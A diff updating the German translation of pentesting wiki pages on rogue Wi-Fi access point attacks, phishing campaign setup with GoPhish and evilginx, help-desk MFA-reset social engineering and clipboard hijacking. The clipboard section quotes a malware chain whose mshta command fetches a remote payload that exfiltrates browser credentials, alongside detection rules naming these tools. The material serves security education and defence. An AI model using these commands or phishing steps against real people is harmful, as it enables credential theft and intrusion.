+Dann **begannen Geräte, unsichere Netzwerkantworten zu ignorieren**, was die Effektivität des ursprünglichen Karma-Angriffs verringerte. Eine neue Methode, bekannt als der **MANA-Angriff**, wurde jedoch von Ian de Villiers und Dominic White eingeführt. Diese Methode beinhaltet, dass der bösartige AP **die Bevorzugten Netzwerklisten (PNL) von Geräten erfasst, indem er auf deren Broadcast-Probe-Anfragen** mit Netzwerknamen (SSIDs) antwortet, die zuvor von den Geräten als sicher angesehen wurden. Dieser ausgeklügelte Angriff umgeht die Schutzmaßnahmen gegen den ursprünglichen Karma-Angriff, indem er die Art und Weise ausnutzt, wie Geräte bekannte Netzwerke speichern und priorisieren.
 
 Der MANA-Angriff funktioniert, indem er sowohl gerichtete als auch Broadcast-Probe-Anfragen von Geräten überwacht. Bei gerichteten Anfragen zeichnet er die MAC-Adresse des Geräts und den angeforderten Netzwerknamen auf und fügt diese Informationen einer Liste hinzu. Wenn eine Broadcast-Anfrage empfangen wird, antwortet der AP mit Informationen, die mit einem der Netzwerke auf der Liste des Geräts übereinstimmen, und verleitet das Gerät dazu, sich mit dem bösartigen AP zu verbinden.
 ```bash
@@ -645,9 +645,9 @@ Ein **Loud MANA-Angriff** ist eine fortgeschrittene Strategie, wenn Geräte kein
 ```
 ### Bekannter Beacon-Angriff
 
-Wenn der **Loud MANA Angriff** möglicherweise nicht ausreicht, bietet der **Bekannte Beacon-Angriff** einen weiteren Ansatz. Diese Methode **brute-forced den Verbindungsprozess, indem sie einen AP simuliert, der auf jeden Netzwerknamen reagiert und durch eine Liste potenzieller ESSIDs aus einer Wortliste wechselt**. Dies simuliert die Präsenz zahlreicher Netzwerke, in der Hoffnung, eine ESSID innerhalb der PNL des Opfers zu treffen, was einen Verbindungsversuch zum gefälschten AP auslöst. Der Angriff kann verstärkt werden, indem er mit der `--loud` Option kombiniert wird, um einen aggressiveren Versuch zu unternehmen, Geräte zu fangen.
+Wenn der **Loud MANA Angriff** möglicherweise nicht ausreicht, bietet der **Bekannte Beacon-Angriff** einen weiteren Ansatz. Diese Methode **brute-forced den Verbindungsprozess, indem sie einen AP simuliert, der auf jeden Netzwerknamen reagiert und durch eine Liste potenzieller ESSIDs aus einer Wortliste wechselt**. Dies simuliert die Anwesenheit zahlreicher Netzwerke, in der Hoffnung, eine ESSID innerhalb der PNL des Opfers zu treffen, was einen Verbindungsversuch zum gefälschten AP auslöst. Der Angriff kann verstärkt werden, indem er mit der `--loud` Option kombiniert wird, um einen aggressiveren Versuch zu unternehmen, Geräte zu fangen.
 
-Eaphammer hat diesen Angriff als MANA-Angriff implementiert, bei dem alle ESSIDs in einer Liste geladen werden (Sie könnten dies auch mit `--loud` kombinieren, um einen Loud MANA + Bekannte Beacons Angriff zu erstellen):
+Eaphammer hat diesen Angriff als MANA-Angriff implementiert, bei dem alle ESSIDs in einer Liste geladen werden (du könntest dies auch mit `--loud` kombinieren, um einen Loud MANA + Bekannte Beacons Angriff zu erstellen):
 ```bash
 ./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
 ```
@@ -676,7 +676,7 @@ Diese Methoden, insbesondere die PIN-Eingabe, sind anfällig für die gleichen S
 
 ### EvilDirect Hijacking
 
-**EvilDirect Hijacking** ist ein Angriff, der spezifisch auf Wi-Fi Direct abzielt. Er spiegelt das Konzept eines Evil Twin-Angriffs wider, zielt jedoch auf Wi-Fi Direct-Verbindungen ab. In diesem Szenario gibt sich ein Angreifer als legitimer Gruppenbesitzer aus, um Geräte zu täuschen, damit sie sich mit einer bösartigen Entität verbinden. Diese Methode kann mit Tools wie `airbase-ng` ausgeführt werden, indem der Kanal, ESSID und MAC-Adresse des impersonierten Geräts angegeben werden:
+**EvilDirect Hijacking** ist ein Angriff, der spezifisch auf Wi-Fi Direct abzielt. Er spiegelt das Konzept eines Evil Twin-Angriffs wider, zielt jedoch auf Wi-Fi Direct-Verbindungen ab. In diesem Szenario gibt sich ein Angreifer als legitimer Gruppenbesitzer aus, um Geräte zu täuschen, damit sie sich mit einer bösartigen Entität verbinden. Diese Methode kann mit Tools wie `airbase-ng` ausgeführt werden, indem der Kanal, ESSID und die MAC-Adresse des impersonierten Geräts angegeben werden:
 
 ## References
 

src/generic-methodologies-and-resources/phishing-methodology/README.md

@@ -5,12 +5,12 @@
 ## Methodology
 
 1. Recon der Zielperson
-1. Wählen Sie die **Ziel-Domain** aus.
+1. Wählen Sie die **Zieldomain** aus.
-2. Führen Sie eine grundlegende Webenumeration durch, **um nach Login-Portalen** zu suchen, die von der Zielperson verwendet werden, und **entscheiden** Sie, welches Sie **nachahmen** möchten.
+2. Führen Sie eine grundlegende Webenumeration durch, **um Login-Portale** zu finden, die von der Zielperson verwendet werden, und **entscheiden** Sie, welches Sie **nachahmen** möchten.
-3. Verwenden Sie einige **OSINT**, um **E-Mails zu finden**.
+3. Verwenden Sie einige **OSINT**, um **E-Mails** zu **finden**.
 2. Bereiten Sie die Umgebung vor
 1. **Kaufen Sie die Domain**, die Sie für die Phishing-Bewertung verwenden möchten.
-2. **Konfigurieren Sie die E-Mail-Dienst**-bezogenen Einträge (SPF, DMARC, DKIM, rDNS).
+2. **Konfigurieren Sie die E-Mail-Dienste** bezogene Einträge (SPF, DMARC, DKIM, rDNS).
 3. Konfigurieren Sie den VPS mit **gophish**.
 3. Bereiten Sie die Kampagne vor
 1. Bereiten Sie die **E-Mail-Vorlage** vor.
@@ -23,7 +23,7 @@
 
 - **Keyword**: Der Domainname **enthält** ein wichtiges **Keyword** der ursprünglichen Domain (z.B. zelster.com-management.com).
 - **hypen-subdomain**: Ändern Sie den **Punkt in einen Bindestrich** einer Subdomain (z.B. www-zelster.com).
-- **Neue TLD**: Dieselbe Domain mit einer **neuen TLD** (z.B. zelster.org).
+- **Neue TLD**: Gleiche Domain mit einer **neuen TLD** (z.B. zelster.org).
 - **Homoglyph**: Es **ersetzt** einen Buchstaben im Domainnamen durch **Buchstaben, die ähnlich aussehen** (z.B. zelfser.com).
 
 {{#ref}}
@@ -33,7 +33,7 @@ homograph-attacks.md
 - **Singularisierung/Pluralisierung**: Fügt ein „s“ am Ende des Domainnamens hinzu oder entfernt es (z.B. zeltsers.com).
 - **Omission**: Es **entfernt einen** der Buchstaben aus dem Domainnamen (z.B. zelser.com).
 - **Wiederholung:** Es **wiederholt einen** der Buchstaben im Domainnamen (z.B. zeltsser.com).
-- **Ersetzung**: Wie homoglyph, aber weniger stealthy. Es ersetzt einen der Buchstaben im Domainnamen, möglicherweise mit einem Buchstaben in der Nähe des ursprünglichen Buchstabens auf der Tastatur (z.B. zektser.com).
+- **Ersetzung**: Wie Homoglyph, aber weniger heimlich. Es ersetzt einen der Buchstaben im Domainnamen, möglicherweise mit einem Buchstaben in der Nähe des ursprünglichen Buchstabens auf der Tastatur (z.B. zektser.com).
 - **Subdominiert**: Fügen Sie einen **Punkt** innerhalb des Domainnamens ein (z.B. ze.lster.com).
 - **Einfügung**: Es **fügt einen Buchstaben** in den Domainnamen ein (z.B. zerltser.com).
 - **Fehlender Punkt**: Hängen Sie die TLD an den Domainnamen an. (z.B. zelstercom.com)
@@ -78,7 +78,7 @@ Um sicherzustellen, dass die abgelaufene Domain, die Sie kaufen möchten, **bere
 - [https://anymailfinder.com/](https://anymailfinder.com)
 
 Um **mehr** gültige E-Mail-Adressen zu **entdecken** oder die bereits entdeckten zu **verifizieren**, können Sie überprüfen, ob Sie die SMTP-Server des Opfers brute-forcen können. [Erfahren Sie hier, wie Sie E-Mail-Adressen verifizieren/entdecken](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
-Vergessen Sie außerdem nicht, dass, wenn die Benutzer **ein Webportal verwenden, um auf ihre E-Mails zuzugreifen**, Sie überprüfen können, ob es anfällig für **Benutzername-Brute-Force** ist, und die Schwachstelle, wenn möglich, ausnutzen.
+Vergessen Sie außerdem nicht, dass, wenn die Benutzer **ein beliebiges Webportal verwenden, um auf ihre E-Mails zuzugreifen**, Sie überprüfen können, ob es anfällig für **Benutzername-Brute-Force** ist, und die Schwachstelle, wenn möglich, ausnutzen.
 
 ## Konfigurieren von GoPhish
 
@@ -87,7 +87,7 @@ Vergessen Sie außerdem nicht, dass, wenn die Benutzer **ein Webportal verwenden
 Sie können es von [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) herunterladen.
 
 Laden Sie es herunter und entpacken Sie es in `/opt/gophish` und führen Sie `/opt/gophish/gophish` aus.\
-Ihnen wird ein Passwort für den Admin-Benutzer auf Port 3333 in der Ausgabe angezeigt. Greifen Sie daher auf diesen Port zu und verwenden Sie diese Anmeldeinformationen, um das Admin-Passwort zu ändern. Möglicherweise müssen Sie diesen Port zu lokal tunneln:
+Sie erhalten ein Passwort für den Admin-Benutzer auf Port 3333 in der Ausgabe. Greifen Sie daher auf diesen Port zu und verwenden Sie diese Anmeldeinformationen, um das Admin-Passwort zu ändern. Möglicherweise müssen Sie diesen Port zu lokal tunneln:
 ```bash
 ssh -L 3333:127.0.0.1:3333 <user>@<ip>
 ```
@@ -95,7 +95,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
 
 **TLS-Zertifikat-Konfiguration**
 
-Bevor Sie diesen Schritt ausführen, sollten Sie **bereits die Domain** gekauft haben, die Sie verwenden möchten, und sie muss **auf die IP des VPS** zeigen, auf dem Sie **gophish** konfigurieren.
+Bevor Sie diesen Schritt ausführen, sollten Sie **bereits die Domain** gekauft haben, die Sie verwenden möchten, und sie muss auf die **IP des VPS** zeigen, auf dem Sie **gophish** konfigurieren.
 ```bash
 DOMAIN="<domain>"
 wget https://dl.eff.org/certbot-auto
@@ -227,19 +227,19 @@ service gophish stop
 
 ### Warten & legitim sein
 
-Je älter eine Domain ist, desto unwahrscheinlicher ist es, dass sie als Spam erkannt wird. Daher solltest du so viel Zeit wie möglich warten (mindestens 1 Woche) vor der Phishing-Bewertung. Außerdem wird die Reputation besser, wenn du eine Seite über einen reputationswürdigen Sektor einrichtest.
+Je älter eine Domain ist, desto unwahrscheinlicher ist es, dass sie als Spam erkannt wird. Daher sollten Sie so viel Zeit wie möglich warten (mindestens 1 Woche) vor der Phishing-Bewertung. Darüber hinaus wird die Reputation besser sein, wenn Sie eine Seite über einen reputationswürdigen Sektor erstellen.
 
-Beachte, dass du auch, wenn du eine Woche warten musst, jetzt alles konfigurieren kannst.
+Beachten Sie, dass Sie, auch wenn Sie eine Woche warten müssen, jetzt alles konfigurieren können.
 
 ### Konfigurieren des Reverse DNS (rDNS) Eintrags
 
-Setze einen rDNS (PTR) Eintrag, der die IP-Adresse des VPS auf den Domainnamen auflöst.
+Setzen Sie einen rDNS (PTR) Eintrag, der die IP-Adresse des VPS auf den Domainnamen auflöst.
 
 ### Sender Policy Framework (SPF) Eintrag
 
-Du musst **einen SPF-Eintrag für die neue Domain konfigurieren**. Wenn du nicht weißt, was ein SPF-Eintrag ist, [**lies diese Seite**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
+Sie müssen **einen SPF-Eintrag für die neue Domain konfigurieren**. Wenn Sie nicht wissen, was ein SPF-Eintrag ist, [**lesen Sie diese Seite**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
 
-Du kannst [https://www.spfwizard.net/](https://www.spfwizard.net) verwenden, um deine SPF-Richtlinie zu generieren (verwende die IP der VPS-Maschine).
+Sie können [https://www.spfwizard.net/](https://www.spfwizard.net) verwenden, um Ihre SPF-Richtlinie zu generieren (verwenden Sie die IP der VPS-Maschine).
 
 ![](<../../images/image (1037).png>)
 
@@ -262,7 +262,7 @@ Sie müssen **ein DKIM für die neue Domain konfigurieren**. Wenn Sie nicht wiss
 Dieses Tutorial basiert auf: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
 
 > [!TIP]
-> Sie müssen beide B64-Werte, die der DKIM-Schlüssel generiert, zusammenfügen:
+> Sie müssen beide B64-Werte, die der DKIM-Schlüssel generiert, verketten:
 >
 > ```
 > v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
@@ -287,19 +287,19 @@ DKIM check:         pass
 Sender-ID check:    pass
 SpamAssassin check: ham
 ```
-Sie könnten auch eine **Nachricht an ein Gmail unter Ihrer Kontrolle senden** und die **E-Mail-Header** in Ihrem Gmail-Posteingang überprüfen. `dkim=pass` sollte im Headerfeld `Authentication-Results` vorhanden sein.
+Sie könnten auch eine **Nachricht an ein Gmail unter Ihrer Kontrolle** senden und die **E-Mail-Header** in Ihrem Gmail-Posteingang überprüfen. `dkim=pass` sollte im `Authentication-Results` Headerfeld vorhanden sein.
 ```
 Authentication-Results: mx.google.com;
 spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
 dkim=pass header.i=@example.com;
 ```
-### Entfernen von der Spamhaus-Blacklist
+### Entfernen von der Spamhouse-Blacklist
 
-Die Seite [www.mail-tester.com](https://www.mail-tester.com) kann Ihnen anzeigen, ob Ihre Domain von Spamhaus blockiert wird. Sie können die Entfernung Ihrer Domain/IP anfordern unter: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
+Die Seite [www.mail-tester.com](https://www.mail-tester.com) kann Ihnen anzeigen, ob Ihre Domain von Spamhouse blockiert wird. Sie können anfordern, dass Ihre Domain/IP entfernt wird unter: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
 
 ### Entfernen von der Microsoft-Blacklist
 
-​​Sie können die Entfernung Ihrer Domain/IP anfordern unter [https://sender.office.com/](https://sender.office.com).
+​​Sie können anfordern, dass Ihre Domain/IP entfernt wird unter [https://sender.office.com/](https://sender.office.com).
 
 ## Erstellen & Starten einer GoPhish-Kampagne
 
@@ -396,7 +396,7 @@ clone-a-website.md
 
 ## Hintertür-Dokumente & -Dateien
 
-In einigen Phishing-Bewertungen (hauptsächlich für Red Teams) möchten Sie möglicherweise auch **Dateien mit einer Art Hintertür senden** (vielleicht ein C2 oder vielleicht nur etwas, das eine Authentifizierung auslöst).\
+In einigen Phishing-Bewertungen (hauptsächlich für Red Teams) möchten Sie möglicherweise auch **Dateien mit einer Art Hintertür senden** (vielleicht ein C2 oder einfach etwas, das eine Authentifizierung auslöst).\
 Überprüfen Sie die folgende Seite für einige Beispiele:
 
 {{#ref}}
@@ -409,16 +409,16 @@ phishing-documents.md
 
 Der vorherige Angriff ist ziemlich clever, da Sie eine echte Website fälschen und die Informationen sammeln, die der Benutzer eingibt. Leider, wenn der Benutzer das richtige Passwort nicht eingegeben hat oder wenn die gefälschte Anwendung mit 2FA konfiguriert ist, **erlaubt Ihnen diese Information nicht, den getäuschten Benutzer zu impersonieren**.
 
-Hier sind Tools wie [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) und [**muraena**](https://github.com/muraenateam/muraena) nützlich. Dieses Tool ermöglicht es Ihnen, einen MitM-ähnlichen Angriff zu generieren. Grundsätzlich funktioniert der Angriff folgendermaßen:
+Hier sind Tools wie [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) und [**muraena**](https://github.com/muraenateam/muraena) nützlich. Dieses Tool ermöglicht es Ihnen, einen MitM-ähnlichen Angriff zu generieren. Grundsätzlich funktioniert der Angriff wie folgt:
 
-1. Sie **imitieren das Login**-Formular der echten Webseite.
+1. Sie **imitieren das Anmeldeformular** der echten Webseite.
 2. Der Benutzer **sendet** seine **Anmeldeinformationen** an Ihre gefälschte Seite und das Tool sendet diese an die echte Webseite, **um zu überprüfen, ob die Anmeldeinformationen funktionieren**.
 3. Wenn das Konto mit **2FA** konfiguriert ist, wird die MitM-Seite danach fragen, und sobald der **Benutzer es eingibt**, sendet das Tool es an die echte Webseite.
 4. Sobald der Benutzer authentifiziert ist, haben Sie (als Angreifer) **die Anmeldeinformationen, die 2FA, das Cookie und alle Informationen** jeder Interaktion erfasst, während das Tool einen MitM durchführt.
 
 ### Über VNC
 
-Was wäre, wenn Sie anstatt den **Opfer zu einer bösartigen Seite** mit dem gleichen Aussehen wie die Originalseite zu senden, ihn zu einer **VNC-Sitzung mit einem Browser, der mit der echten Webseite verbunden ist**, senden? Sie können sehen, was er tut, das Passwort, die verwendete MFA, die Cookies stehlen...\
+Was wäre, wenn Sie anstelle von **den Opfern auf eine bösartige Seite** mit dem gleichen Aussehen wie die Originalseite zu senden, sie zu einer **VNC-Sitzung mit einem Browser, der mit der echten Webseite verbunden ist**, senden? Sie können sehen, was er tut, das Passwort stehlen, die verwendete MFA, die Cookies...\
 Sie können dies mit [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) tun.
 
 ## Erkennung der Erkennung
@@ -426,7 +426,7 @@ Sie können dies mit [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) tun.
 Offensichtlich ist eine der besten Möglichkeiten zu wissen, ob Sie enttarnt wurden, **Ihre Domain in schwarzen Listen zu durchsuchen**. Wenn sie aufgeführt ist, wurde Ihre Domain irgendwie als verdächtig erkannt.\
 Eine einfache Möglichkeit zu überprüfen, ob Ihre Domain in einer schwarzen Liste erscheint, ist die Verwendung von [https://malwareworld.com/](https://malwareworld.com).
 
-Es gibt jedoch andere Möglichkeiten zu wissen, ob das Opfer **aktiv nach verdächtigen Phishing-Aktivitäten in der Wildnis sucht**, wie in:
+Es gibt jedoch auch andere Möglichkeiten zu wissen, ob das Opfer **aktiv nach verdächtigen Phishing-Aktivitäten in der Wildnis sucht**, wie in:
 
 {{#ref}}
 detecting-phising.md
@@ -436,18 +436,18 @@ Sie können **eine Domain mit einem sehr ähnlichen Namen** zur Domain des Opfer
 
 ### Phishing bewerten
 
-Verwenden Sie [**Phishious** ](https://github.com/Rices/Phishious), um zu bewerten, ob Ihre E-Mail im Spam-Ordner endet oder ob sie blockiert oder erfolgreich ist.
+Verwenden Sie [**Phishious**](https://github.com/Rices/Phishious), um zu bewerten, ob Ihre E-Mail im Spam-Ordner endet oder ob sie blockiert oder erfolgreich ist.
 
 ## High-Touch Identitätskompromittierung (Help-Desk MFA-Reset)
 
-Moderne Eindringsets überspringen zunehmend ganz auf E-Mail-Ablenkungen und **zielen direkt auf den Service-Desk / Identitätswiederherstellungs-Workflow**, um MFA zu umgehen. Der Angriff ist vollständig "living-off-the-land": Sobald der Betreiber gültige Anmeldeinformationen besitzt, wechselt er mit integrierten Admin-Tools – Malware ist nicht erforderlich.
+Moderne Eindringlingssets überspringen zunehmend ganz auf E-Mail-Ablenkungen und **zielen direkt auf den Service-Desk / Identitätswiederherstellungs-Workflow**, um MFA zu umgehen. Der Angriff ist vollständig "living-off-the-land": Sobald der Betreiber gültige Anmeldeinformationen besitzt, wechselt er mit integrierten Admin-Tools – Malware ist nicht erforderlich.
 
 ### Angriffsfluss
 1. Recon der Zielperson
 * Ernten Sie persönliche und Unternehmensdetails von LinkedIn, Datenpannen, öffentlichem GitHub usw.
 * Identifizieren Sie hochkarätige Identitäten (Führungskräfte, IT, Finanzen) und enumerieren Sie den **genauen Help-Desk-Prozess** für Passwort-/MFA-Reset.
 2. Echtzeit-Sozialtechnik
-* Telefonieren, Teams oder chatten Sie mit dem Help-Desk, während Sie das Ziel impersonieren (oft mit **gefälschtem Anrufer-ID** oder **klonierter Stimme**).
+* Rufen Sie den Help-Desk an, verwenden Sie Teams oder chatten Sie, während Sie das Ziel impersonieren (oft mit **gefälschtem Anrufer-ID** oder **klonierter Stimme**).
 * Geben Sie die zuvor gesammelten PII an, um die wissensbasierte Verifizierung zu bestehen.
 * Überzeugen Sie den Agenten, das **MFA-Geheimnis zurückzusetzen** oder einen **SIM-Swap** auf einer registrierten Mobilnummer durchzuführen.
 3. Sofortige Nach-Zugriffsaktionen (≤60 Minuten in echten Fällen)
@@ -466,29 +466,29 @@ Get-MgUserRegisteredDevice -UserId <user@corp.local>
 * Laterale Bewegung mit **WMI**, **PsExec** oder legitimen **RMM**-Agenten, die bereits in der Umgebung auf die Whitelist gesetzt sind.
 
 ### Erkennung & Minderung
-* Behandeln Sie die Identitätswiederherstellung des Help-Desks als **privilegierte Operation** – erfordern Sie eine Authentifizierung mit höherem Schutz und die Genehmigung des Managers.
+* Behandeln Sie die Identitätswiederherstellung des Help-Desks als **privilegierte Operation** – erfordern Sie eine Authentifizierung und die Genehmigung des Managers.
 * Implementieren Sie **Identity Threat Detection & Response (ITDR)** / **UEBA**-Regeln, die alarmieren bei:
 * MFA-Methode geändert + Authentifizierung von neuem Gerät / Geo.
 * Sofortige Erhöhung des gleichen Prinzips (Benutzer-→-Admin).
-* Protokollieren Sie Help-Desk-Anrufe und erzwingen Sie einen **Rückruf an eine bereits registrierte Nummer**, bevor ein Reset erfolgt.
+* Zeichnen Sie Help-Desk-Anrufe auf und erzwingen Sie einen **Rückruf an eine bereits registrierte Nummer**, bevor ein Reset erfolgt.
 * Implementieren Sie **Just-In-Time (JIT) / Privileged Access**, sodass neu zurückgesetzte Konten **nicht** automatisch hochprivilegierte Tokens erben.
 
 ---
 
 ## In großem Maßstab Täuschung – SEO-Vergiftung & “ClickFix”-Kampagnen
-Commodity-Teams kompensieren die Kosten für hochgradige Operationen mit Massangriffen, die **Suchmaschinen und Werbenetzwerke in den Lieferkanal** verwandeln.
+Commodity-Teams kompensieren die Kosten für hochgradige Operationen mit Massangriffen, die **Suchmaschinen & Werbenetzwerke in den Lieferkanal** verwandeln.
 
 1. **SEO-Vergiftung / Malvertising** drängt ein gefälschtes Ergebnis wie `chromium-update[.]site` an die Spitze der Suchanzeigen.
 2. Das Opfer lädt einen kleinen **First-Stage-Loader** (oft JS/HTA/ISO) herunter. Beispiele, die von Unit 42 gesehen wurden:
 * `RedLine stealer`
 * `Lumma stealer`
 * `Lampion Trojan`
-3. Der Loader exfiltriert Browser-Cookies + Anmeldeinformationen-Datenbanken und zieht dann einen **stillen Loader**, der entscheidet – *in Echtzeit* – ob er deployen soll:
+3. Der Loader exfiltriert Browser-Cookies + Anmeldeinformationen-Datenbanken und zieht dann einen **stillen Loader**, der entscheidet – *in Echtzeit* – ob er bereitstellt:
 * RAT (z.B. AsyncRAT, RustDesk)
 * Ransomware / Wiper
 * Persistenzkomponente (Registry Run-Schlüssel + geplanter Task)
 
-### Härtungstipps
+### Tipps zur Härtung
 * Blockieren Sie neu registrierte Domains und erzwingen Sie **Advanced DNS / URL Filtering** für *Suchanzeigen* sowie E-Mails.
 * Beschränken Sie die Softwareinstallation auf signierte MSI / Store-Pakete, verweigern Sie die Ausführung von `HTA`, `ISO`, `VBS` durch Richtlinie.
 * Überwachen Sie Kindprozesse von Browsern, die Installer öffnen:
@@ -501,11 +501,11 @@ and child_image: *\\*.exe
 ---
 
 ## KI-verbesserte Phishing-Operationen
-Angreifer verknüpfen jetzt **LLM- und Voice-Clone-APIs** für vollständig personalisierte Ablenkungen und Echtzeit-Interaktion.
+Angreifer verknüpfen jetzt **LLM & Voice-Clone-APIs** für vollständig personalisierte Ablenkungen und Echtzeit-Interaktion.
 
 | Schicht | Beispielverwendung durch Bedrohungsakteure |
 |-------|-----------------------------|
-|Automatisierung|Generieren und senden >100 k E-Mails / SMS mit randomisierten Formulierungen und Tracking-Links.|
+|Automatisierung|Generieren & senden >100 k E-Mails / SMS mit randomisierten Formulierungen & Tracking-Links.|
 |Generative KI|Produzieren *einmalige* E-Mails, die auf öffentliche M&A, Insider-Witze aus sozialen Medien verweisen; Deep-Fake-CEO-Stimme im Rückrufbetrug.|
 |Agentic KI|Autonom Domains registrieren, Open-Source-Intelligenz scrapen, nächste Stufe E-Mails erstellen, wenn ein Opfer klickt, aber keine Anmeldeinformationen übermittelt.|
 
@@ -527,7 +527,7 @@ Neben klassischem Push-Bombing zwingen Betreiber einfach **eine neue MFA-Registr
 
 ## Clipboard Hijacking / Pastejacking
 
-Angreifer können heimlich bösartige Befehle in die Zwischenablage des Opfers von einer kompromittierten oder typosquatted Webseite kopieren und dann den Benutzer dazu bringen, diese in **Win + R**, **Win + X** oder ein Terminalfenster einzufügen, wodurch beliebiger Code ohne Download oder Anhang ausgeführt wird.
+Angreifer können heimlich bösartige Befehle in die Zwischenablage des Opfers von einer kompromittierten oder typosquatted Webseite kopieren und dann den Benutzer dazu bringen, sie in **Win + R**, **Win + X** oder ein Terminalfenster einzufügen, wodurch beliebiger Code ohne Download oder Anhang ausgeführt wird.
 
 {{#ref}}
 clipboard-hijacking.md

src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md

@@ -49,20 +49,20 @@ powershell -nop -enc <Base64>  # Cloud Identificator: 2031
 ```
 1. Lädt `la.txt` mit **curl.exe** herunter  
 2. Führt den JScript-Downloader in **cscript.exe** aus  
-3. Holt eine MSI-Nutzlast → legt `libcef.dll` neben einer signierten Anwendung ab → DLL-Sideloading → Shellcode → Latrodectus.  
+3. Holt ein MSI-Payload → legt `libcef.dll` neben einer signierten Anwendung ab → DLL-Sideloading → Shellcode → Latrodectus.  
 
 ### Lumma Stealer über MSHTA
 ```
 mshta https://iplogger.co/xxxx =+\\xxx
 ```
-Der **mshta**-Aufruf startet ein verborgenes PowerShell-Skript, das `PartyContinued.exe` abruft, `Boat.pst` (CAB) extrahiert, `AutoIt3.exe` durch `extrac32` und Dateikonkatenation rekonstruiert und schließlich ein `.a3x`-Skript ausführt, das Browser-Anmeldeinformationen an `sumeriavgv.digital` exfiltriert.
+Der **mshta**-Aufruf startet ein verstecktes PowerShell-Skript, das `PartyContinued.exe` abruft, `Boat.pst` (CAB) extrahiert, `AutoIt3.exe` durch `extrac32` und Dateikonkatenation rekonstruiert und schließlich ein `.a3x`-Skript ausführt, das Browser-Anmeldeinformationen an `sumeriavgv.digital` exfiltriert.
 
 ## Erkennung & Jagd
 
 Blue-Teams können Clipboard-, Prozess-Erstellungs- und Registrierungs-Telemetrie kombinieren, um Pastejacking-Missbrauch zu identifizieren:
 
 * Windows-Registrierung: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` führt eine Historie von **Win + R**-Befehlen – suchen Sie nach ungewöhnlichen Base64 / obfuskierten Einträgen.
-* Sicherheitsereignis-ID **4688** (Prozess-Erstellung), bei dem `ParentImage` == `explorer.exe` und `NewProcessName` in { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
+* Sicherheitsereignis-ID **4688** (Prozess-Erstellung), bei der `ParentImage` == `explorer.exe` und `NewProcessName` in { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
 * Ereignis-ID **4663** für Datei-Erstellungen unter `%LocalAppData%\Microsoft\Windows\WinX\` oder temporären Ordnern kurz vor dem verdächtigen 4688-Ereignis.
 * EDR-Clipboard-Sensoren (falls vorhanden) – korrelieren Sie `Clipboard Write`, gefolgt von einem neuen PowerShell-Prozess.
 

src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md

@@ -66,7 +66,7 @@ proc.Create "powershell <beacon line generated>
 ```
 #### Manuell Metadaten entfernen
 
-Gehe zu **Datei > Informationen > Dokument überprüfen > Dokument überprüfen**, um den Dokumentinspektor zu öffnen. Klicke auf **Überprüfen** und dann auf **Alle entfernen** neben **Dokumenteigenschaften und persönliche Informationen**.
+Gehe zu **Datei > Informationen > Dokument überprüfen > Dokument überprüfen**, was den Dokumentinspektor öffnet. Klicke auf **Überprüfen** und dann auf **Alle entfernen** neben **Dokumenteigenschaften und persönliche Informationen**.
 
 #### Doc-Erweiterung
 

src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md

@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-Dies sind einige Tricks, um die Sandbox-Schutzmaßnahmen von Python zu umgehen und beliebige Befehle auszuführen.
+Dies sind einige Tricks, um die Schutzmaßnahmen von Python-Sandboxes zu umgehen und beliebige Befehle auszuführen.
 
 ## Command Execution Libraries
 
@@ -43,7 +43,7 @@ Denke daran, dass die _**open**_ und _**read**_ Funktionen nützlich sein könne
 
 > [!CAUTION] > Die **Python2 input()** Funktion erlaubt das Ausführen von Python-Code, bevor das Programm abstürzt.
 
-Python versucht, **Bibliotheken zuerst aus dem aktuellen Verzeichnis zu laden** (der folgende Befehl zeigt, wo Python Module lädt): `python3 -c 'import sys; print(sys.path)'`
+Python versucht, **Bibliotheken zuerst aus dem aktuellen Verzeichnis zu laden** (der folgende Befehl zeigt an, wo Python Module lädt): `python3 -c 'import sys; print(sys.path)'`
 
 ![](<../../../images/image (559).png>)
 
@@ -72,7 +72,7 @@ Für weitere Informationen darüber, wie Pickle funktioniert, siehe dies: [https
 
 Trick geteilt von **@isHaacK**
 
-Wenn Sie Zugriff auf `pip` oder `pip.main()` haben, können Sie ein beliebiges Paket installieren und eine Reverse-Shell erhalten, indem Sie aufrufen:
